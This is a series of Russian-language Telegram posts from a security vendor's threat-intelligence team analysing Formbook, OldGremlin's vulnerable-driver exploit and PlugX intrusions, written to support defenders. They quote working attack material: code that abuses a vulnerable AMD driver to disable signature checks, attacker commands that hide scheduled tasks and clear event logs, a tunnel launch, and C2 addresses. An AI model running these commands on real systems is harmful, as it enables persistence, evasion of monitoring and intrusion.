ESCalator
6.54K subscribers
476 photos
1 video
18 files
189 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Углубление в импорты: продолжаем изучать способы статического резолва 🕵️‍♂️

Ранее мы рассказывали, как может быть реализован статический резолв импортов. Однако для полноты картины мы решили показать еще один пример того, какими бывают механизмы динамического разрешения импортов во вредоносном ПО и как с помощью статического анализа превратить группу непонятных байтов в осмысленные названия функций. Это поможет ускорить процесс реверса и избавит нас от необходимости ручной разметки.

В качестве примера рассмотрим один из свежих образцов Formbook. Позволим ему распаковаться, после чего сдампим и откроем его в IDA Pro. Побродив по функциям, можно заметить несколько закономерностей в вызовах, которые очень похожи на динамическое разрешение импортов (cкриншот 1).

❗️ Также следует обратить внимание, что функций с расшифровкой хешей две: decrypt_hash, которая использует только зашифрованный хеш функции, и decrypt_hash_xor, которая имеет дополнительный параметр, назначение которого станет известно позднее.

Заглянем внутрь обеих функций и увидим, что единственное различие между ними — подход к генерации ключа для RC4. Второй параметр в decrypt_hash_xor накладывается на жестко заданный ключ перед вызовом функции расшифровки (скриншот 2).

Осталось понять, что происходит в вызове decrypt_rc4_buff, и можно писать декриптор. Содержимое функции можно увидеть на скриншоте 3.

Циклы до и после непосредственной расшифровки RC4 сводятся к последовательному попарному вычитанию соседних байтов сначала слева направо, а затем справа налево. Эквивалент кода на питоне представлен на скриншоте 4.

🧤 Дело осталось за малым — пройтись по ссылкам на эти две функции и собрать аргументы, после чего восстановить исходные имена импортов. Для реализации первой части определим класс CallVisitor и определим в нем логику по сохранению нужной информации о вызове (скриншот 5). Такой подход удобнее, чем «ручной» поиск аргументов путем обратной итерации по инструкциям, предшествующим вызову, поскольку зачастую аргументы могут быть обфусцированы: разбросаны по телу вызывающей функции или вычисляться непосредственно перед вызовом.

Чтобы получить имя оригинальной функции из хеша, воспользуемся утилитами flare-ida. Среди прочего там уже есть БД sc_hashes.db с заранее просчитанными хешами для стандартных библиотек, которая позволит нам быстро восстановить большую часть импортов. Для отсутствующих в БД библиотек можно сгенерировать хеши самостоятельно лежащим рядом скриптом (скриншот 6).

Результат работы можно увидеть на скриншоте 7. Больше 80% найденных функций восстановились с ходу.

😎 Как и ожидалось, восстановленные хеши были созданы алгоритмом crc32bzip2, они встречались и в более ранних семплах Formbook. Таким образом, нам удалось быстро восстановить импорты в исследуемом образце, а также понять общий подход к шифрованию данных в Formbook, что в дальнейшем значительно упрощает его анализ.

#tip #reverse #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1612👍112😁1
OldGremlin with old tricks

OldGremlin известна как группировка вымогателей 😭. Для остановки работы антивирусов (да и любых программ) загружает TinyKiller, состоящий из трех файлов:

🐾 patcher_pdfw.exe — патчер для загрузки avkd.sys;
🐾 avkd.sys — вредоносный драйвер;
🐾 PdFwKrnl.sys — легитимный драйвер AMD Radeon Driver, уязвимый для чтения и записи.

Патчер на самом деле эксплуатирует уязвимость CVE-2023-20598 в драйвере AMD для загрузки своего неподписанного драйвера 😉. Для этого используется старый трюк — обход защиты Driver Signature Enforcement (DSE), выключая внутренний флаг. В версиях Windows 8 до 9600 билда этот параметр назывался nt!g_CiEnabled и находился в ntoskrnl.exe. В последующих версиях за проверку подписи отвечал внутренний параметр CI!g_CiOptions из CI.dll.

Процесс получения адреса этого параметра достаточно трудоемок 😫 и полностью описан в рамках этой статьи. Получив адрес флага, патчер использует уязвимый драйвер.

Если посмотреть обработчик сообщений, то уязвимыми для чтения и записи являются ioctl 0x80002014, 0x80002020, 0x80002028 и 0x8000202C 😨. Злоумышленник использует первый вариант и составляет пакет для отправки драйверу:

  BytesReturned = 0;
v5 = Msg;
for ( i = 0xCi64; i; --i )
*v5++ = 0;
*(_QWORD *)&Msg[0x18] = address;
*(_DWORD *)&Msg[0x28] = size; // eq 4
*(_QWORD *)&Msg[0x10] = output;
return DeviceIoControl(hDevice, 0x80002014, Msg, 0x30u, Msg, 0x30u, &BytesReturned, 0i64);


Здесь address — это найденный ранее offset флага. Внутри драйвера это сообщение попадает в следующий обработчик, выполняющий прямой memmove значения address в output:

mov     r8d, [IRP+28h]  ; MaxCount
mov rdx, [IRP+18h] ; Src
mov rcx, [IRP+10h] ; Dst
call memmove


Очевидно 😆, чтобы отключить флаг проверки подписи и записать по этому адресу 0=disabled, необходимо просто поменять местами значения Msg[0x18] и Msg[0x10]. После запуска вредоносного драйвера значение флага проверки подписи возвращают на место и выгружают из системы уязвимый драйвер.

Техника взятия с собой уязвимого драйвера (BYOVD) все чаще используется злоумышленниками для различных целей 😶. Большинство из них используют уже известные уязвимые драйверы, наличие которых можно обнаружить при помощи LOLDrivers или настройки списков исключений от Microsoft. Кроме того, стоит обращать внимание на запуск служб драйверов 😌.

OldGremlin используют следующие команды для загрузки уязвимого драйвера и своего:

sc create vprovdrv binpath= "<path>\PdFwKrnl.sys" type= "kernel
sc start vprovdrv

sc create avkdriver binpath= "<path>\avkd.sys" type= "kernel
sc start avkdriver


IoCs

avkd.sys
eac69feccd33f6b97f7b60c1ded22d2b7f689921b28e531e7c2a925c09ce0936

patcher_pdwf.exe
116fbf458c1062303c2630116f8cad23d394106a5ddcc6d687f0f33dbe17a492
d236bfc015e735a64ad3c2d447fa70926b898a4e9b9af11f94b83ce768bbd434

PdFwKrnl.sys
0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0
6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402


#APT #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2213👍13
Operation Tartaria — PlugX 🤝 DevTunnels

В конце мая завершился PHDays Fest, в рамках которого на треке Defense команда 4RAYS рассказала про особенности работы планировщика задач Windows.

Практика команды PT ESC IR показывает, что закрепление через скрытые задачи — действительно достаточно редкий способ маскировки целевой атаки, но и в наших проектах мы периодически его встречаем. Расследуя инцидент в начале 2025 года, мы обнаружили скрытую задачу в дампе (триаже) на одном из узлов в скомпрометированной инфраструктуре. Для обнаружения подобных задач PT-Dumper проставляет ключи IsHiddenTask (удален SD — Security Descriptor) и IsMissingOnFS (XML отсутствует в файловой системе).

{"TaskId":"[REDACTED]","TaskName":"7zup_Server","TaskRegistryPath":"\\7zup_Server","TaskAuthor":"[REDACTED]","IsHiddenTask":true,"IsMissingOnFS":true,"Action":{"Context":"Author","Properties":[{"Id":"","ActionName":"Execution","Arguments":"-remote up","Command":"C:\\PROGRA~1\\7-Zip\\7zUp.exe","WorkingDirectory":"","Flags":0}],"Version":3},"Triggers":[{"TriggerType":"Boot","Comment":"Boot"}],"CreatedTime":"2025-01-12T06:25:32Z","LastRunTime":"2025-06-18T18:17:23Z","LastErrorCode":"","Timeline":"2025-01-12T06:25:32Z"}


Задача запускала 7zUp.exe, который оказался уязвимым для техники DLL Side-Loading нативным отладчиком CDB.exe. При старте отладчик загружает вредоносную библиотеку dbgeng.dll, упакованную пакером VMProtect с кастомным названием секций.

Зашифрованная нагрузка обновленного PlugX доставляется в полезной нагрузке шеллкода manifest.txt, накрытого однобайтовым XOR. Аналогичная версия PlugX была описана в статье. Интересно отметить, что в полезной нагрузке затерты байты заголовков MZ и PE, хотя вся остальная структура заголовка сохранена.

PlugX при старте записывает свой идентификатор в ключ реестра — HKLM\SOFTWARE\Clients\Mail\cf. Этот образец разделен на два логических модуля: один выполняет команды, другой является коннектором. Реализовано это посредством внедрения кода в процессы wksprt.exe и explorer.exe. Модули общаются через pipe \\.\PIPE\X<PID>. В найденных PlugX соединение с С2-сервером (0.0.0.0:53, 0.0.0.0:5355) было установлено через TCP, что указывает на более облегченную версию этого инструмента.

Помимо запуска пассивного PlugX мы обнаружили задачу, которая запускает исполняемый файл C:\Windows\System32\oobe\Setup.exe.

<Exec>
<Command>C:\Windows\System32\oobe\Setup.exe</Command>
<Arguments>/ui</Arguments>
</Exec>


Оказалось, что каждый раз, когда при старте Setup.exe возникает ошибка, запускается скрипт C:\Windows\Setup\Scripts\ErrorHandler.cmd. Подобная техника описана в блоге. В нашем случае атакующие запускали devNetwork.exe, который является туннелем DevTunnels.

@echo off
taskkill /im devNetwork.exe /f
timeout /t 5 /nobreak >nul
C:\ProgramData\NetWorks\devNetwork.exe host [REDACTED]
timeout /t 2 /nobreak >nul
exit


Таким образом атакующие, продвигаясь по сети, заражали системы пассивным бэкдором PlugX, а коммуникация с С2-сервером происходила с использованием легитимной утилиты DevTunnels.

Fun fact: при старте PlugX запускает кейлоггер, который является одним из плагинов и записывает нажатие клавиш в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG1 и буфер обмена в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG2. Изучив эти журналы, мы обнаружили ряд команд, которые выполняли атакующие в ходе развития атаки и продвижения по инфраструктуре:

schtasks /create /RL HIGHEST /F /tn "7zup_Server" /tr "C:\PROGRA~1\7-Zip\7zUp.exe -remote up" /sc onstart /RU SYSTEM
schtasks /run /tn 7zup_Server
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\7zup_Server" /v SD /f
del %SystemRoot%\System32\Tasks\7zup_Server /f
...


whoami /groups
netsh advfirewall firewall add rule name="WinDeviceSync" protocol=TCP dir=in localport=5355 action=allow
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" /q:true /ow:true /backup:false
nslookup autodiscover.<yourdomain>.com
...


Stay tuned!

#dfir #ti #apt #reverse #malware
@ptescalator
🔥2714👀7👍4🌭1🎃1🆒1
Operation Tartaria Part 2

Помимо пассивного бэкдора PlugX, нам удалось обнаружить еще одну его версию, которая мимикрировала под запуск Яндекс Браузера.

{"TaskId":"[REDACTED]","TaskName":"Yandexstart_Server","TaskRegistryPath":"\\Yandexstart_Server","TaskAuthor":"[REDACTED]","IsHiddenTask":false,"IsMissingOnFS":true,"Action":{"Context":"Author","Properties":[{"Id":"","ActionName":"Execution","Arguments":"-d restart","Command":"C:\\PROGRA~1\\Yandex\\browser\\Yandex.exe","WorkingDirectory":"","Flags":0}],"Version":3},"Triggers":[{"TriggerType":"Boot","Comment":"Boot"}],"CreatedTime":"2024-12-11T01:11:34Z","LastRunTime":"2025-06-23T06:37:17Z","LastErrorCode":1223,"Timeline":"2024-12-11T01:11:34Z"}


Yandex.exe оказался уязвимым для техники DLL Side-Loading, выполняемой утилитой Umdh.exe (User-Mode Dump Heap), которая подгружает вредоносную библиотеку dbghelp.dll под пакером VMProtect с кастомным названием секций; нагрузка хранится в файле desktop.ini.

🫣 Как и в предыдущем случае, мы имеем дело с двухмодульным бэкдором. Коннектор внедряется в процесс choice.exe, а интерпретатор команд — в mspaint.exe. Процессы общаются через pipe .\\PIPE\\[%d].

При успешном старте исследуемый образец подключается к блогу на livejournal.com (скриншот 1) и на ok.ru (скриншоты 2-3). Далее парсит содержимое ответа и ищет последовательность, которая начинается с R241223 и заканчивается на R251223 и внутри которой находится зашифрованный токен для API Yandex Disk. Далее коммуникация бэкдора происходит через API. Аналогичный образец был описан в «CloudSorcerer: новая APT-угроза, нацеленная на российские государственные организации».

Помимо Yandex Disk, бэкдор поддерживает возможность общения через Microsoft Graph и Dropbox:

cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com


Общение происходит посредством чтения и перезаписи файлов в заданной папке в облаке. Сами файлы защищены шифром простой замены, а структура сообщений отличается в зависимости от выполняемой команды. Однако везде используется один и тот же header:

0         2          6             10             14
| command | msg size | short answer | ticketcount |


☝️ Примечательны следующие функции бэкдора:

возможность получать шеллкоды и PE-файлы, внедряя их в процессы TSTheme.exe и msiexec.exe;
выполнение WMI-запросов для получения информации о системе:
SELECT * FROM Win32_OperatingSystem
SELECT * FROM Win32_TimeZone
SELECT * FROM Win32_ComputerSystem
SELECT * FROM Win32_QuickFixEngineering

отключение всех сетевых соединений API WNetCancelConnection2W;
изменение параметров входа в учетную запись или пароля через API NetUserSetInfo.

C2:
devtunnels.ms
https://anddes.livejournal.com/511.html
https://ok.ru/profile/587950172233/statuses/157023463517001


Рекомендации:

запрет DevTunnels с помощью групповой политики;
поиск скрытых задач;
поиск задач с параметром:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s | findstr "2D00720065006D006F0074006500200075007000"

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s | findstr "2d00640020007200650073007400610072007400"

поиск идентификатора PlugX:
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\cf


Happy hunting!

@ptescalator
#dfir #ti #apt #reverse #malware
17🔥17👍113🤡2🍌1
Группа киберразведки PT ESC представила обзор кибератак за II квартал 2025 года ✍️

В отчете рассмотрены наиболее показательные атаки на ИТ-инфраструктуры российских госорганизаций и частных компаний.

🦉 За указанный период зафиксирована активность Team46, TA Tolik, Black Owl и других.

📩 Фишинговые кампании шли непрерывно от имени государственных структур и регуляторов. Использовались:

• Архивы с вредоносной нагрузкой, название и тема которых совпадали с содержанием письма;
• Документы с встроенными эксплойтами под известные уязвимости в офисных пакетах и системах ЭДО;
• Ссылки на облачные хранилища и файлообменники для обхода почтовых фильтров.

В ряде случаев применялась модель «отложенной доставки» полезной нагрузки после установления переписки (spear-phishing + социальная инженерия) и имитация деловой коммуникации для принуждения к открытию вложений.

💥 Ключевые тенденции:

1. Деструктивное применение шифровальщиков. Black Owl использует шифрование и вайпинг для максимального нарушения работоспособности инфраструктуры.

2. Монетизация через вымогательство. Werewolves и DarkGaboon задействуют шифровальщики в рамках выкупных схем, нередко после предварительной разведки и утечки данных (двойное давление).

3. Шпионаж с упором на скрытность. Cloud Atlas и PhantomCore нацелены на долговременное присутствие, сбор внутренних документов и учетных данных; применяются многоступенчатые загрузчики и приемы living-off-the-land для снижения заметности.

Полный отчет — в нашем блоге ⬅️

#TI #APT #Malware #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍12👌94🤯1
Через фантомные выплаты к конфиденциальным данным 🫰

В июне мы выпустили статью про обнаруженные Exchange-кейлоггеры. На тот момент было выявлено девять компаний-жертв в России, но никакой атрибуции тогда мы не провели.

В июле этого года мы совершили прыжок во времени и вернулись в декабрь 2024-го. Исследование зафиксированной тогда атаки позволило связать ряд обнаруженных кейлоггеров с группировкой PhantomCore 👻. При этом общее количество жертв на территории России увеличилось: в июне этого года их было девять, а в августе — уже 18.

Общая статистика такова:

10 компаний из общего числа взломанных организаций — жертвы группировки PhantomCore.

Всего было обнаружено более 5000 строк с данными «логин — пароль — дата входа», которые получили злоумышленники.

Прыжок во времени позволил нам найти образец ВПО PhantomDL v3, который использовался в атаках с мимикрией под военную юриспруденцию.

Анализ временного прыжка вы можете найти в нашем новом исследовании на Хабре.

P.S.: с PhantomCore мы не закончили. Следите за новостями 🔜

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍128🔥8
PTESCALATOR_9.png
10.7 MB
Вместо пятничного опроса — 8K WALLPAPERS BY @PTESCALATOR

Если пост соберет больше одного лайка, будем делать подборки регулярно
65👍34🔥18😁4💩4👎2